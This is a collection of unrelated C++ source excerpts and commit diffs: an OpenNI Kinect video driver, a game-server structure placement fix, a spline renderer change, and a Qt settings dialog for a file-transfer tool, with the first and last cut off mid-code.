= true; break; default: break; } const StreamInfo stream(fmt, mapMode.nXRes, mapMode.nYRes, (mapMode.nXRes * fmt.bpp) / 8, (unsigned char*)0 + sizeBytes); sizeBytes += stream.SizeBytes(); streams.push_back(stream); } if( use_depth ) { nRetVal = depthNode.Create(context); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Unable to create DepthNode: " + xnGetStatusString(nRetVal) ); }else{ nRetVal = depthNode.SetMapOutputMode(mapMode); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Invalid DepthNode mode: " + xnGetStatusString(nRetVal) ); } } } if( use_rgb ) { nRetVal = imageNode.Create(context); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Unable to create ImageNode: " + xnGetStatusString(nRetVal) ); }else{ nRetVal = imageNode.SetMapOutputMode(mapMode); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Invalid ImageNode mode: " + xnGetStatusString(nRetVal) ); } } } if (depth_to_color && use_rgb) { //Registration if( depthNode.IsCapabilitySupported(XN_CAPABILITY_ALTERNATIVE_VIEW_POINT) ) { nRetVal = depthNode.GetAlternativeViewPointCap().SetViewPoint( imageNode ); if (nRetVal != XN_STATUS_OK) { std::cerr << "depthNode.GetAlternativeViewPointCap().SetViewPoint(imageNode): " << xnGetStatusString(nRetVal) << std::endl; } } // Frame Sync if (depthNode.IsCapabilitySupported(XN_CAPABILITY_FRAME_SYNC)) { if (depthNode.GetFrameSyncCap().CanFrameSyncWith(imageNode)) { nRetVal = depthNode.GetFrameSyncCap().FrameSyncWith(imageNode); if (nRetVal != XN_STATUS_OK) { std::cerr << "depthNode.GetFrameSyncCap().FrameSyncWith(imageNode): " << xnGetStatusString(nRetVal) << std::endl; } } } } if( use_ir ) { nRetVal = irNode.Create(context); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Unable to create IrNode: " + xnGetStatusString(nRetVal) ); }else{ nRetVal = irNode.SetMapOutputMode(mapMode); if (nRetVal != XN_STATUS_OK) { throw VideoException( (std::string)"Invalid IrNode mode: " + xnGetStatusString(nRetVal) ); } } } Start(); } OpenNiVideo::~OpenNiVideo() { context.Release(); } size_t OpenNiVideo::SizeBytes() const { return sizeBytes; } const std::vector<StreamInfo>& OpenNiVideo::Streams() const { return streams; } void OpenNiVideo::Start() { // XnStatus nRetVal = context.StartGeneratingAll(); } void OpenNiVideo::Stop() { context.StopGeneratingAll(); } bool OpenNiVideo::GrabNext( unsigned char* image, bool /*wait*/ ) { // XnStatus nRetVal = context.WaitAndUpdateAll(); XnStatus nRetVal = context.WaitAnyUpdateAll(); // nRetVal = context.WaitOneUpdateAll(imageNode); if (nRetVal != XN_STATUS_OK) { std::cerr << "Failed updating data: " << xnGetStatusString(nRetVal) << std::endl; return false; }else{ unsigned char* out_img = image; for(int i=0; i<2; ++i) { switch (sensor_type[i]) { case OpenNiDepth_1mm: case OpenNiDepth_1mm_Registered: { const XnDepthPixel* pDepthMap = depthNode.GetDepthMap(); memcpy(out_img,pDepthMap, streams[i].SizeBytes() ); break; } case OpenNiIr: case OpenNiIrProj: { const XnIRPixel* pIrMap = irNode.GetIRMap(); memcpy(out_img, pIrMap, streams[i].SizeBytes() ); break; } case OpenNiIr8bit: case OpenNiIr8bitProj: { const XnIRPixel* pIr16Map = irNode.GetIRMap(); // rescale from 16-bit (10 effective) to 8-bit xn::IRMetaData meta_data; irNode.GetMetaData(meta_data); int w = meta_data.XRes(); int h = meta_data.YRes(); // Copy to out_img with conversion XnUInt8* pIrMapScaled = (XnUInt8*)out_img; for (int v = 0; v < h; ++v) for (int u = 0; u < w; ++u) { int val = *pIr16Map >> 2; // 10bit to 8 bit pIrMapScaled[w * v + u] = val; pIr16Map++; } break; } case OpenNiRgb: { const XnUInt8* pImageMap = imageNode.GetImageMap(); memcpy(out_img,pImageMap, streams[i].SizeBytes()); break; } default: continue; break; } out_img += streams[i].SizeBytes(); } return true; } } bool OpenNiVideo::GrabNewest( unsigned char* image, bool wait ) { return GrabNext(image,wait); } PANGOLIN_REGISTER_FACTORY(OpenNiVideo) { struct OpenNiVideoFactory final : public FactoryInterface<VideoInterface> { std::unique_ptr<VideoInterface> Open(const Uri& uri) override { const ImageDim dim = uri.Get<ImageDim>("size", ImageDim(640,480)); const unsigned int fps = uri.Get<unsigned int>("fps", 30); const bool autoexposure = uri.Get<bool>("autoexposure", true); OpenNiSensorType img1 = OpenNiRgb; OpenNiSensorType img2 = OpenNiUnassigned; if( uri.Contains("img1") ){ img1 = openni_sensor(uri.Get<std::string>("img1", "depth")); } if( uri.Contains("img2") ){ img2 = openni_sensor(uri.Get<std::string>("img2","rgb")); } OpenNiVideo* oniv = new OpenNiVideo(img1, img2, dim, fps); oniv->SetAutoExposure(autoexposure); return std::unique_ptr<VideoInterface>(oniv); } }; auto factory = std::make_shared<OpenNiVideoFactory>(); FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 10, "openni1"); FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, "openni"); FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, "oni"); FactoryRegistry<VideoInterface>::I().RegisterFactory(factory, 100, "kinect"); } } <|endoftext|>
<commit_before>/* * PlaceStructureSessionImplementation.cpp * * Created on: Jun 13, 2011 * Author: crush */ #include "server/zone/objects/player/sessions/PlaceStructureSession.h" #include "server/chat/ChatManager.h" #include "server/zone/managers/planet/PlanetManager.h" #include "server/zone/managers/structure/StructureManager.h" #include "server/zone/managers/structure/tasks/StructureConstructionCompleteTask.h" #include "server/zone/objects/area/ActiveArea.h" #include "server/zone/objects/building/BuildingObject.h" #include "server/zone/objects/creature/CreatureObject.h" #include "server/zone/objects/installation/InstallationObject.h" #include "server/zone/objects/player/PlayerObject.h" #include "server/zone/objects/scene/SessionFacadeType.h" #include "server/zone/objects/structure/StructureObject.h" #include "server/zone/objects/tangible/deed/structure/StructureDeed.h" #include "server/zone/packets/player/EnterStructurePlacementModeMessage.h" #include "server/zone/templates/tangible/SharedStructureObjectTemplate.h" #include "server/zone/objects/area/areashapes/CircularAreaShape.h" #include "server/zone/Zone.h" int PlaceStructureSessionImplementation::constructStructure(float x, float y, int angle) { positionX = x; positionY = y; directionAngle = angle; TemplateManager* templateManager = TemplateManager::instance(); String serverTemplatePath = deedObject->getGeneratedObjectTemplate(); Reference<SharedStructureObjectTemplate*> serverTemplate = dynamic_cast<SharedStructureObjectTemplate*>(templateManager->getTemplate(serverTemplatePath.hashCode())); if (serverTemplate == NULL || temporaryNoBuildZone != NULL) return cancelSession(); //Something happened, the server template is not a structure template or temporaryNoBuildZone already set. placeTemporaryNoBuildZone(serverTemplate); String barricadeServerTemplatePath = serverTemplate->getConstructionMarkerTemplate(); int constructionDuration = 100; //Set the duration for 100ms as a fall back if it doesn't have a barricade template. if (!barricadeServerTemplatePath.isEmpty()) { constructionBarricade = ObjectManager::instance()->createObject(barricadeServerTemplatePath.hashCode(), 0, ""); if (constructionBarricade != NULL) { constructionBarricade->initializePosition(x, 0, y); //The construction barricades are always at the terrain height. StructureFootprint* structureFootprint = serverTemplate->getStructureFootprint(); if (structureFootprint != NULL && (structureFootprint->getRowSize() > structureFootprint->getColSize())) { angle = angle + 180; } constructionBarricade->rotate(angle); //All construction barricades need to be rotated 180 degrees for some reason. //constructionBarricade->insertToZone(zone); Locker tLocker(constructionBarricade); zone->transferObject(constructionBarricade, -1, true); constructionDuration = serverTemplate->getLotSize() * 3000; //3 seconds per lot. } } Reference<Task*> task = new StructureConstructionCompleteTask(creatureObject); task->schedule(constructionDuration); return 0; } void PlaceStructureSessionImplementation::placeTemporaryNoBuildZone(SharedStructureObjectTemplate* serverTemplate) { Reference<StructureFootprint*> structureFootprint = serverTemplate->getStructureFootprint(); //float temporaryNoBuildZoneWidth = structureFootprint->getLength() + structureFootprint->getWidth(); ManagedReference<CircularAreaShape*> areaShape = new CircularAreaShape(); Locker alocker(areaShape); // Guild halls are approximately 55 m long, 64 m radius will surely cover that in all directions. // Even if the placement coordinate aren't in the center of the building. areaShape->setRadius(64); areaShape->setAreaCenter(positionX, positionY); temporaryNoBuildZone = (zone->getZoneServer()->createObject(String("object/active_area.iff").hashCode(), 0)).castTo<ActiveArea*>(); Locker locker(temporaryNoBuildZone); temporaryNoBuildZone->initializePosition(positionX, 0, positionY); temporaryNoBuildZone->setAreaShape(areaShape); temporaryNoBuildZone->setNoBuildArea(true); zone->transferObject(temporaryNoBuildZone, -1, true); } void PlaceStructureSessionImplementation::removeTemporaryNoBuildZone() { if (temporaryNoBuildZone != NULL) { Locker locker(temporaryNoBuildZone); temporaryNoBuildZone->destroyObjectFromWorld(true); } } int PlaceStructureSessionImplementation::completeSession() { if (constructionBarricade != NULL) { Locker locker(constructionBarricade); constructionBarricade->destroyObjectFromWorld(true); } String serverTemplatePath = deedObject->getGeneratedObjectTemplate(); StructureManager* structureManager = StructureManager::instance(); ManagedReference<StructureObject*> structureObject = structureManager->placeStructure(creatureObject, serverTemplatePath, positionX, positionY, directionAngle); removeTemporaryNoBuildZone(); if (structureObject == NULL) { ManagedReference<SceneObject*> inventory = creatureObject->getSlottedObject("inventory"); if (inventory != NULL) inventory->transferObject(deedObject, -1, true); return cancelSession(); } Locker clocker(structureObject, creatureObject); structureObject->setDeedObjectID(deedObject->getObjectID()); deedObject->notifyStructurePlaced(creatureObject, structureObject); ManagedReference<PlayerObject*> ghost = creatureObject->getPlayerObject(); if (ghost != NULL) { //Create Waypoint ManagedReference<WaypointObject*> waypointObject = ( zone->getZoneServer()->createObject(String("object/waypoint/world_waypoint_blue.iff").hashCode(), 1)).castTo<WaypointObject*>(); waypointObject->setCustomObjectName(structureObject->getDisplayedName(), false); waypointObject->setActive(true); waypointObject->setPosition(positionX, 0, positionY); waypointObject->setPlanetCRC(zone->getZoneCRC()); ghost->addWaypoint(waypointObject, false, true); //Create an email. ManagedReference<ChatManager*> chatManager = zone->getZoneServer()->getChatManager(); if (chatManager != NULL) { UnicodeString subject = "@player_structure:construction_complete_subject"; StringIdChatParameter emailBody("@player_structure:construction_complete"); emailBody.setTO(structureObject->getObjectName()); emailBody.setDI(ghost->getLotsRemaining()); chatManager->sendMail("@player_structure:construction_complete_sender", subject, emailBody, creatureObject->getFirstName(), waypointObject); } if (structureObject->isBuildingObject()) { BuildingObject* building = cast<BuildingObject*>(structureObject.get()); if (building->getSignObject() != NULL) { building->setCustomObjectName(creatureObject->getFirstName() + "'s House", true); //Set the house sign. } } } return cancelSession(); //Canceling the session just removes the session from the player's map. } <commit_msg>[Fixed] stability issue<commit_after>/* * PlaceStructureSessionImplementation.cpp * * Created on: Jun 13, 2011 * Author: crush */ #include "server/zone/objects/player/sessions/PlaceStructureSession.h" #include "server/chat/ChatManager.h" #include "server/zone/managers/planet/PlanetManager.h" #include "server/zone/managers/structure/StructureManager.h" #include "server/zone/managers/structure/tasks/StructureConstructionCompleteTask.h" #include "server/zone/objects/area/ActiveArea.h" #include "server/zone/objects/building/BuildingObject.h" #include "server/zone/objects/creature/CreatureObject.h" #include "server/zone/objects/installation/InstallationObject.h" #include "server/zone/objects/player/PlayerObject.h" #include "server/zone/objects/scene/SessionFacadeType.h" #include "server/zone/objects/structure/StructureObject.h" #include "server/zone/objects/tangible/deed/structure/StructureDeed.h" #include "server/zone/packets/player/EnterStructurePlacementModeMessage.h" #include "server/zone/templates/tangible/SharedStructureObjectTemplate.h" #include "server/zone/objects/area/areashapes/CircularAreaShape.h" #include "server/zone/Zone.h" int PlaceStructureSessionImplementation::constructStructure(float x, float y, int angle) { positionX = x; positionY = y; directionAngle = angle; TemplateManager* templateManager = TemplateManager::instance(); String serverTemplatePath = deedObject->getGeneratedObjectTemplate(); Reference<SharedStructureObjectTemplate*> serverTemplate = dynamic_cast<SharedStructureObjectTemplate*>(templateManager->getTemplate(serverTemplatePath.hashCode())); if (serverTemplate == NULL || temporaryNoBuildZone != NULL) return cancelSession(); //Something happened, the server template is not a structure template or temporaryNoBuildZone already set. placeTemporaryNoBuildZone(serverTemplate); String barricadeServerTemplatePath = serverTemplate->getConstructionMarkerTemplate(); int constructionDuration = 100; //Set the duration for 100ms as a fall back if it doesn't have a barricade template. if (!barricadeServerTemplatePath.isEmpty()) { constructionBarricade = ObjectManager::instance()->createObject(barricadeServerTemplatePath.hashCode(), 0, ""); if (constructionBarricade != NULL) { constructionBarricade->initializePosition(x, 0, y); //The construction barricades are always at the terrain height. StructureFootprint* structureFootprint = serverTemplate->getStructureFootprint(); if (structureFootprint != NULL && (structureFootprint->getRowSize() > structureFootprint->getColSize())) { angle = angle + 180; } constructionBarricade->rotate(angle); //All construction barricades need to be rotated 180 degrees for some reason. //constructionBarricade->insertToZone(zone); Locker tLocker(constructionBarricade); zone->transferObject(constructionBarricade, -1, true); constructionDuration = serverTemplate->getLotSize() * 3000; //3 seconds per lot. } } Reference<Task*> task = new StructureConstructionCompleteTask(creatureObject); task->schedule(constructionDuration); return 0; } void PlaceStructureSessionImplementation::placeTemporaryNoBuildZone(SharedStructureObjectTemplate* serverTemplate) { Reference<StructureFootprint*> structureFootprint = serverTemplate->getStructureFootprint(); //float temporaryNoBuildZoneWidth = structureFootprint->getLength() + structureFootprint->getWidth(); ManagedReference<CircularAreaShape*> areaShape = new CircularAreaShape(); Locker alocker(areaShape); // Guild halls are approximately 55 m long, 64 m radius will surely cover that in all directions. // Even if the placement coordinate aren't in the center of the building. areaShape->setRadius(64); areaShape->setAreaCenter(positionX, positionY); temporaryNoBuildZone = (zone->getZoneServer()->createObject(String("object/active_area.iff").hashCode(), 0)).castTo<ActiveArea*>(); Locker locker(temporaryNoBuildZone); temporaryNoBuildZone->initializePosition(positionX, 0, positionY); temporaryNoBuildZone->setAreaShape(areaShape); temporaryNoBuildZone->setNoBuildArea(true); zone->transferObject(temporaryNoBuildZone, -1, true); } void PlaceStructureSessionImplementation::removeTemporaryNoBuildZone() { if (temporaryNoBuildZone != NULL) { Locker locker(temporaryNoBuildZone); temporaryNoBuildZone->destroyObjectFromWorld(true); } } int PlaceStructureSessionImplementation::completeSession() { if (constructionBarricade != NULL) { Locker locker(constructionBarricade); constructionBarricade->destroyObjectFromWorld(true); } String serverTemplatePath = deedObject->getGeneratedObjectTemplate(); StructureManager* structureManager = StructureManager::instance(); ManagedReference<StructureObject*> structureObject = structureManager->placeStructure(creatureObject, serverTemplatePath, positionX, positionY, directionAngle); removeTemporaryNoBuildZone(); if (structureObject == NULL) { ManagedReference<SceneObject*> inventory = creatureObject->getSlottedObject("inventory"); if (inventory != NULL) inventory->transferObject(deedObject, -1, true); return cancelSession(); } Locker clocker(structureObject, creatureObject); structureObject->setDeedObjectID(deedObject->getObjectID()); deedObject->notifyStructurePlaced(creatureObject, structureObject); ManagedReference<PlayerObject*> ghost = creatureObject->getPlayerObject(); if (ghost != NULL) { //Create Waypoint ManagedReference<WaypointObject*> waypointObject = ( zone->getZoneServer()->createObject(String("object/waypoint/world_waypoint_blue.iff").hashCode(), 1)).castTo<WaypointObject*>(); Locker locker(waypointObject); waypointObject->setCustomObjectName(structureObject->getDisplayedName(), false); waypointObject->setActive(true); waypointObject->setPosition(positionX, 0, positionY); waypointObject->setPlanetCRC(zone->getZoneCRC()); ghost->addWaypoint(waypointObject, false, true); locker.release(); //Create an email. ManagedReference<ChatManager*> chatManager = zone->getZoneServer()->getChatManager(); if (chatManager != NULL) { UnicodeString subject = "@player_structure:construction_complete_subject"; StringIdChatParameter emailBody("@player_structure:construction_complete"); emailBody.setTO(structureObject->getObjectName()); emailBody.setDI(ghost->getLotsRemaining()); chatManager->sendMail("@player_structure:construction_complete_sender", subject, emailBody, creatureObject->getFirstName(), waypointObject); } if (structureObject->isBuildingObject()) { BuildingObject* building = cast<BuildingObject*>(structureObject.get()); if (building->getSignObject() != NULL) { building->setCustomObjectName(creatureObject->getFirstName() + "'s House", true); //Set the house sign. } } } return cancelSession(); //Canceling the session just removes the session from the player's map. } <|endoftext|>
<commit_before>#include "stdafx.h" #include "spline_renderer.h" #include <glm/gtx/spline.hpp> #include <glm/gtx/compatibility.hpp> //for lerp #include "asdf_multiplat/utilities/utilities.h" #include "asdf_multiplat/data/gl_state.h" namespace asdf { namespace hexmap { using namespace data; namespace ui { namespace { constexpr size_t default_subdivs_per_spline_segment = 10; } /// vertex spec allocation / definition gl_vertex_spec_<vertex_attrib::position3_t, vertex_attrib::color_t> spline_vertex_t::vertex_spec; /// Helper Func Declarations line_node_t interpolated_node(spline_t const& spline, size_t spline_node_ind, float t); std::vector<line_node_t> line_from_interpolated_spline(spline_t const& spline, size_t subdivisions_per_segment); line_node_t interpolate_linear(line_node_t const& start, line_node_t const& end, float t); line_node_t interpolate_bezier(line_node_t const& start, control_node_t const& cn_start, control_node_t const& cn_end, line_node_t const& end, float t); /// Member Func Definitions void spline_renderer_t::init(std::shared_ptr<shader_t> _shader) { shader = std::move(_shader); spline_polygon.initialize(shader); } // void spline_renderer_t::batch(spline_t const& spline) // { // spline_batch.push_back(&spline); // } // void spline_renderer_t::batch(std::vector<spline_t> const& splines) // { // spline_batch.reserve(spline_batch.size() + splines.size()); // for(size_t i = 0; i < splines.size(); ++i) // { // spline_batch.push_back(&(splines[i])); // } // } void spline_renderer_t::rebuild_all() { if(!spline_list || (spline_list && spline_list->empty())) return; reticulated_splines.clear(); /// reticulate splines auto& constructed_lines = reticulated_splines; // I am lazy and aliasing the variable name //std::vector<std::vector<line_node_t>> constructed_lines; // instead of find/replace constructed_lines.reserve(spline_list->size()); for(auto const& spline : *spline_list) { if(spline.size() > 1) //ignore splines with less than two points (and thus no segments) { constructed_lines.push_back( line_from_interpolated_spline(spline, default_subdivs_per_spline_segment) ); } } constructed_lines.shrink_to_fit(); if(constructed_lines.empty()) { return; } //pre-loop to get size info size_t num_verts = 0; for(auto const& polyline : constructed_lines) { //not doing thickness yet, so only one vertex per polyline node num_verts += polyline.size(); } /// set up renderable vertices polygon_<spline_vertex_t> verts; verts.resize(num_verts); size_t vert_ind = 0; for(auto const& polyline : constructed_lines) { for(auto const& line_vert : polyline) { verts[vert_ind].position = glm::vec3(line_vert.position, 0.0f); verts[vert_ind].color = line_vert.color; ++vert_ind; } } ASSERT(vert_ind == num_verts, "Unexpected unset vertices in polyline"); spline_polygon.set_data(verts); } void spline_renderer_t::render() { ASSERT(shader, "cannot render splines without a shader"); if(!spline_list) { return; } else if(spline_list->size() != spline_node_count_cache.size()) { rebuild_all(); } //update spline node count cache and rebuild splines if dirty //TODO: optimize to only rebuild dirty splines instead of all of them bool dirty = false; spline_node_count_cache.resize(spline_list->size(), 0); //init new elements as 0 for(size_t i = 0; i < spline_list->size(); ++i) { dirty |= ((*spline_list)[i].size() != spline_node_count_cache[i]); spline_node_count_cache[i] = (*spline_list)[i].size(); } if(dirty) { rebuild_all(); } //if after rebuilding, there are no verts to render, don't even bother with anything below if(spline_polygon.num_verts == 0) { return; } GL_State->bind(shader); shader->update_wvp_uniform(); spline_polygon.render(GL_LINE_LOOP); //will change this to GL_TRIANGLES later when I implement thickness } /// Helper Func Definitions line_node_t interpolated_node(spline_t const& spline, size_t spline_node_ind, float t) { ASSERT(spline.nodes.size() > spline_node_ind, "out of bounds"); switch(spline.spline_type) { case spline_t::linear: { return interpolate_linear(spline.nodes[spline_node_ind], spline.nodes[spline_node_ind+1], t); } case spline_t::bezier: { auto cn_ind = spline_node_ind * 2; ASSERT(spline.control_nodes.size() > cn_ind, "out of bounds"); auto const& p0 = spline.nodes[spline_node_ind]; auto const& p1 = spline.control_nodes[cn_ind]; auto const& p2 = spline.control_nodes[cn_ind + 1]; auto const& p3 = spline.nodes[spline_node_ind+1]; return interpolate_bezier(p0, p1, p2, p3, t); } }; return spline.nodes[spline_node_ind]; } std::vector<line_node_t> line_from_interpolated_spline(spline_t const& spline, size_t subdivisions_per_segment) { std::vector<line_node_t> constructed_line; if(spline.size() == 0 || spline.spline_type == spline_t::linear) return spline.nodes; //space for the original nodes plus subdivisions constructed_line.reserve(spline.size() + subdivisions_per_segment * spline.size() - 1); for(size_t spline_node_ind = 0; spline_node_ind < spline.size() - 1; ++spline_node_ind) { //start node constructed_line.push_back(spline.nodes[spline_node_ind]); for(size_t i = 0; i < subdivisions_per_segment; ++i) { auto t = static_cast<float>( (i+1) / (subdivisions_per_segment+2) ); //i+1 becuase the 0th node is the spline's start node, not this one //subdivisions_per_segment+2 because constructed_line.push_back(interpolated_node(spline, spline_node_ind, t)); } //end node constructed_line.push_back(spline.nodes[spline_node_ind+1]); } //todo: simpilfy spline by removing nodes that are relatively coplanar return constructed_line; } line_node_t interpolate_linear(line_node_t const& start, line_node_t const& end, float t) { line_node_t node; node.position = glm::lerp(start.position, end.position, t); node.thickness = glm::lerp(start.thickness, end.thickness, t); node.color = glm::lerp(start.color, end.color, t); return node; } line_node_t interpolate_bezier(line_node_t const& start, control_node_t const& cn_start, control_node_t const& cn_end, line_node_t const& end, float t) { line_node_t node; node.position = bezier(start.position, cn_start, cn_end, end.position, t); //TODO: do something non-linear for interpolating non-position attributes? node.thickness = glm::lerp(start.thickness, end.thickness, t); node.color = glm::lerp(start.color, end.color, t); return node; } } } }<commit_msg>spline_renderer now uses GL_LINE_STRIP instead of GL_LINE_LOOP<commit_after>#include "stdafx.h" #include "spline_renderer.h" #include <glm/gtx/spline.hpp> #include <glm/gtx/compatibility.hpp> //for lerp #include "asdf_multiplat/utilities/utilities.h" #include "asdf_multiplat/data/gl_state.h" namespace asdf { namespace hexmap { using namespace data; namespace ui { namespace { constexpr size_t default_subdivs_per_spline_segment = 10; } /// vertex spec allocation / definition gl_vertex_spec_<vertex_attrib::position3_t, vertex_attrib::color_t> spline_vertex_t::vertex_spec; /// Helper Func Declarations line_node_t interpolated_node(spline_t const& spline, size_t spline_node_ind, float t); std::vector<line_node_t> line_from_interpolated_spline(spline_t const& spline, size_t subdivisions_per_segment); line_node_t interpolate_linear(line_node_t const& start, line_node_t const& end, float t); line_node_t interpolate_bezier(line_node_t const& start, control_node_t const& cn_start, control_node_t const& cn_end, line_node_t const& end, float t); /// Member Func Definitions void spline_renderer_t::init(std::shared_ptr<shader_t> _shader) { shader = std::move(_shader); spline_polygon.initialize(shader); } // void spline_renderer_t::batch(spline_t const& spline) // { // spline_batch.push_back(&spline); // } // void spline_renderer_t::batch(std::vector<spline_t> const& splines) // { // spline_batch.reserve(spline_batch.size() + splines.size()); // for(size_t i = 0; i < splines.size(); ++i) // { // spline_batch.push_back(&(splines[i])); // } // } void spline_renderer_t::rebuild_all() { if(!spline_list || (spline_list && spline_list->empty())) return; reticulated_splines.clear(); /// reticulate splines auto& constructed_lines = reticulated_splines; // I am lazy and aliasing the variable name //std::vector<std::vector<line_node_t>> constructed_lines; // instead of find/replace constructed_lines.reserve(spline_list->size()); for(auto const& spline : *spline_list) { if(spline.size() > 1) //ignore splines with less than two points (and thus no segments) { constructed_lines.push_back( line_from_interpolated_spline(spline, default_subdivs_per_spline_segment) ); } } constructed_lines.shrink_to_fit(); if(constructed_lines.empty()) { return; } //pre-loop to get size info size_t num_verts = 0; for(auto const& polyline : constructed_lines) { //not doing thickness yet, so only one vertex per polyline node num_verts += polyline.size(); } /// set up renderable vertices polygon_<spline_vertex_t> verts; verts.resize(num_verts); size_t vert_ind = 0; for(auto const& polyline : constructed_lines) { for(auto const& line_vert : polyline) { verts[vert_ind].position = glm::vec3(line_vert.position, 0.0f); verts[vert_ind].color = line_vert.color; ++vert_ind; } } ASSERT(vert_ind == num_verts, "Unexpected unset vertices in polyline"); spline_polygon.set_data(verts); } void spline_renderer_t::render() { ASSERT(shader, "cannot render splines without a shader"); if(!spline_list) { return; } else if(spline_list->size() != spline_node_count_cache.size()) { rebuild_all(); } //update spline node count cache and rebuild splines if dirty //TODO: optimize to only rebuild dirty splines instead of all of them bool dirty = false; spline_node_count_cache.resize(spline_list->size(), 0); //init new elements as 0 for(size_t i = 0; i < spline_list->size(); ++i) { dirty |= ((*spline_list)[i].size() != spline_node_count_cache[i]); spline_node_count_cache[i] = (*spline_list)[i].size(); } if(dirty) { rebuild_all(); } //if after rebuilding, there are no verts to render, don't even bother with anything below if(spline_polygon.num_verts == 0) { return; } GL_State->bind(shader); shader->update_wvp_uniform(); spline_polygon.render(GL_LINE_STRIP); //will change this to GL_TRIANGLES later when I implement thickness } /// Helper Func Definitions line_node_t interpolated_node(spline_t const& spline, size_t spline_node_ind, float t) { ASSERT(spline.nodes.size() > spline_node_ind, "out of bounds"); switch(spline.spline_type) { case spline_t::linear: { return interpolate_linear(spline.nodes[spline_node_ind], spline.nodes[spline_node_ind+1], t); } case spline_t::bezier: { auto cn_ind = spline_node_ind * 2; ASSERT(spline.control_nodes.size() > cn_ind, "out of bounds"); auto const& p0 = spline.nodes[spline_node_ind]; auto const& p1 = spline.control_nodes[cn_ind]; auto const& p2 = spline.control_nodes[cn_ind + 1]; auto const& p3 = spline.nodes[spline_node_ind+1]; return interpolate_bezier(p0, p1, p2, p3, t); } }; return spline.nodes[spline_node_ind]; } std::vector<line_node_t> line_from_interpolated_spline(spline_t const& spline, size_t subdivisions_per_segment) { std::vector<line_node_t> constructed_line; if(spline.size() == 0 || spline.spline_type == spline_t::linear) return spline.nodes; //space for the original nodes plus subdivisions constructed_line.reserve(spline.size() + subdivisions_per_segment * spline.size() - 1); for(size_t spline_node_ind = 0; spline_node_ind < spline.size() - 1; ++spline_node_ind) { //start node constructed_line.push_back(spline.nodes[spline_node_ind]); for(size_t i = 0; i < subdivisions_per_segment; ++i) { auto t = static_cast<float>( (i+1) / (subdivisions_per_segment+2) ); //i+1 becuase the 0th node is the spline's start node, not this one //subdivisions_per_segment+2 because constructed_line.push_back(interpolated_node(spline, spline_node_ind, t)); } //end node constructed_line.push_back(spline.nodes[spline_node_ind+1]); } //todo: simpilfy spline by removing nodes that are relatively coplanar return constructed_line; } line_node_t interpolate_linear(line_node_t const& start, line_node_t const& end, float t) { line_node_t node; node.position = glm::lerp(start.position, end.position, t); node.thickness = glm::lerp(start.thickness, end.thickness, t); node.color = glm::lerp(start.color, end.color, t); return node; } line_node_t interpolate_bezier(line_node_t const& start, control_node_t const& cn_start, control_node_t const& cn_end, line_node_t const& end, float t) { line_node_t node; node.position = bezier(start.position, cn_start, cn_end, end.position, t); //TODO: do something non-linear for interpolating non-position attributes? node.thickness = glm::lerp(start.thickness, end.thickness, t); node.color = glm::lerp(start.color, end.color, t); return node; } } } }<|endoftext|>
<commit_before>/** * The MIT License (MIT) * * Copyright (c) 2015 Nathan Osman * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. **/ #include <QFileDialog> #include <QMessageBox> #include "settings.h" #include "settingsdialog.h" SettingsDialog::SettingsDialog() { setupUi(this); #ifndef BUILD_UPDATECHECKER // Remove the update controls delete updateCheckbox; delete updateIntervalLabel; delete updateIntervalSpinBox; #endif // Load the current values into the controls reload(); } void SettingsDialog::accept() { // General tab Settings::set(Settings::DeviceName, deviceNameEdit->text()); Settings::set(Settings::TransferDirectory, transferDirectoryEdit->text()); #ifdef BUILD_UPDATECHECKER Settings::set(Settings::UpdateInterval, updateCheckbox->isChecked() ? updateIntervalSpinBox->value() * Settings::Hour : 0); #endif // Transfer section Settings::set(Settings::TransferPort, transferPortSpinBox->value()); Settings::set(Settings::TransferBuffer, transferBufferSpinBox->value() * Settings::KiB); // Broadcast section Settings::set(Settings::BroadcastPort, broadcastPortSpinBox->value()); Settings::set(Settings::BroadcastTimeout, broadcastTimeoutSpinBox->value() * Settings::Second); Settings::set(Settings::BroadcastInterval, broadcastIntervalSpinBox->value() * Settings::Second); QDialog::accept(); } void SettingsDialog::onResetButtonClicked() { // Confirm that the user wants to reset all of the settings QMessageBox::StandardButton response = QMessageBox::question( this, tr("Confirm Reset"), tr("Are you sure you want to reset all settings to their default values? This cannot be undone.") ); // Perform the reset and then reload all of the settings if(response == QMessageBox::Yes) { Settings::reset(); reload(); } } void SettingsDialog::onTransferDirectoryButtonClicked() { QString path = QFileDialog::getExistingDirectory(this, tr("Select Directory"), transferDirectoryEdit->text()); if(!path.isNull()) { transferDirectoryEdit->setText(path); } } void SettingsDialog::reload() { // General tab deviceNameEdit->setText(Settings::get(Settings::DeviceName).toString()); transferDirectoryEdit->setText(Settings::get(Settings::TransferDirectory).toString()); #ifdef BUILD_UPDATECHECKER const int updateInterval = Settings::get(Settings::UpdateInterval).toInt(); updateCheckbox->setChecked(updateInterval); updateIntervalSpinBox->setEnabled(updateInterval); updateIntervalSpinBox->setValue(updateInterval / Settings::Hour); #endif // Transfer section transferPortSpinBox->setValue(Settings::get(Settings::TransferPort).toLongLong()); transferBufferSpinBox->setValue(Settings::get(Settings::TransferBuffer).toInt() / Settings::KiB); // Broadcast section broadcastPortSpinBox->setValue(Settings::get(Settings::BroadcastPort).toLongLong()); 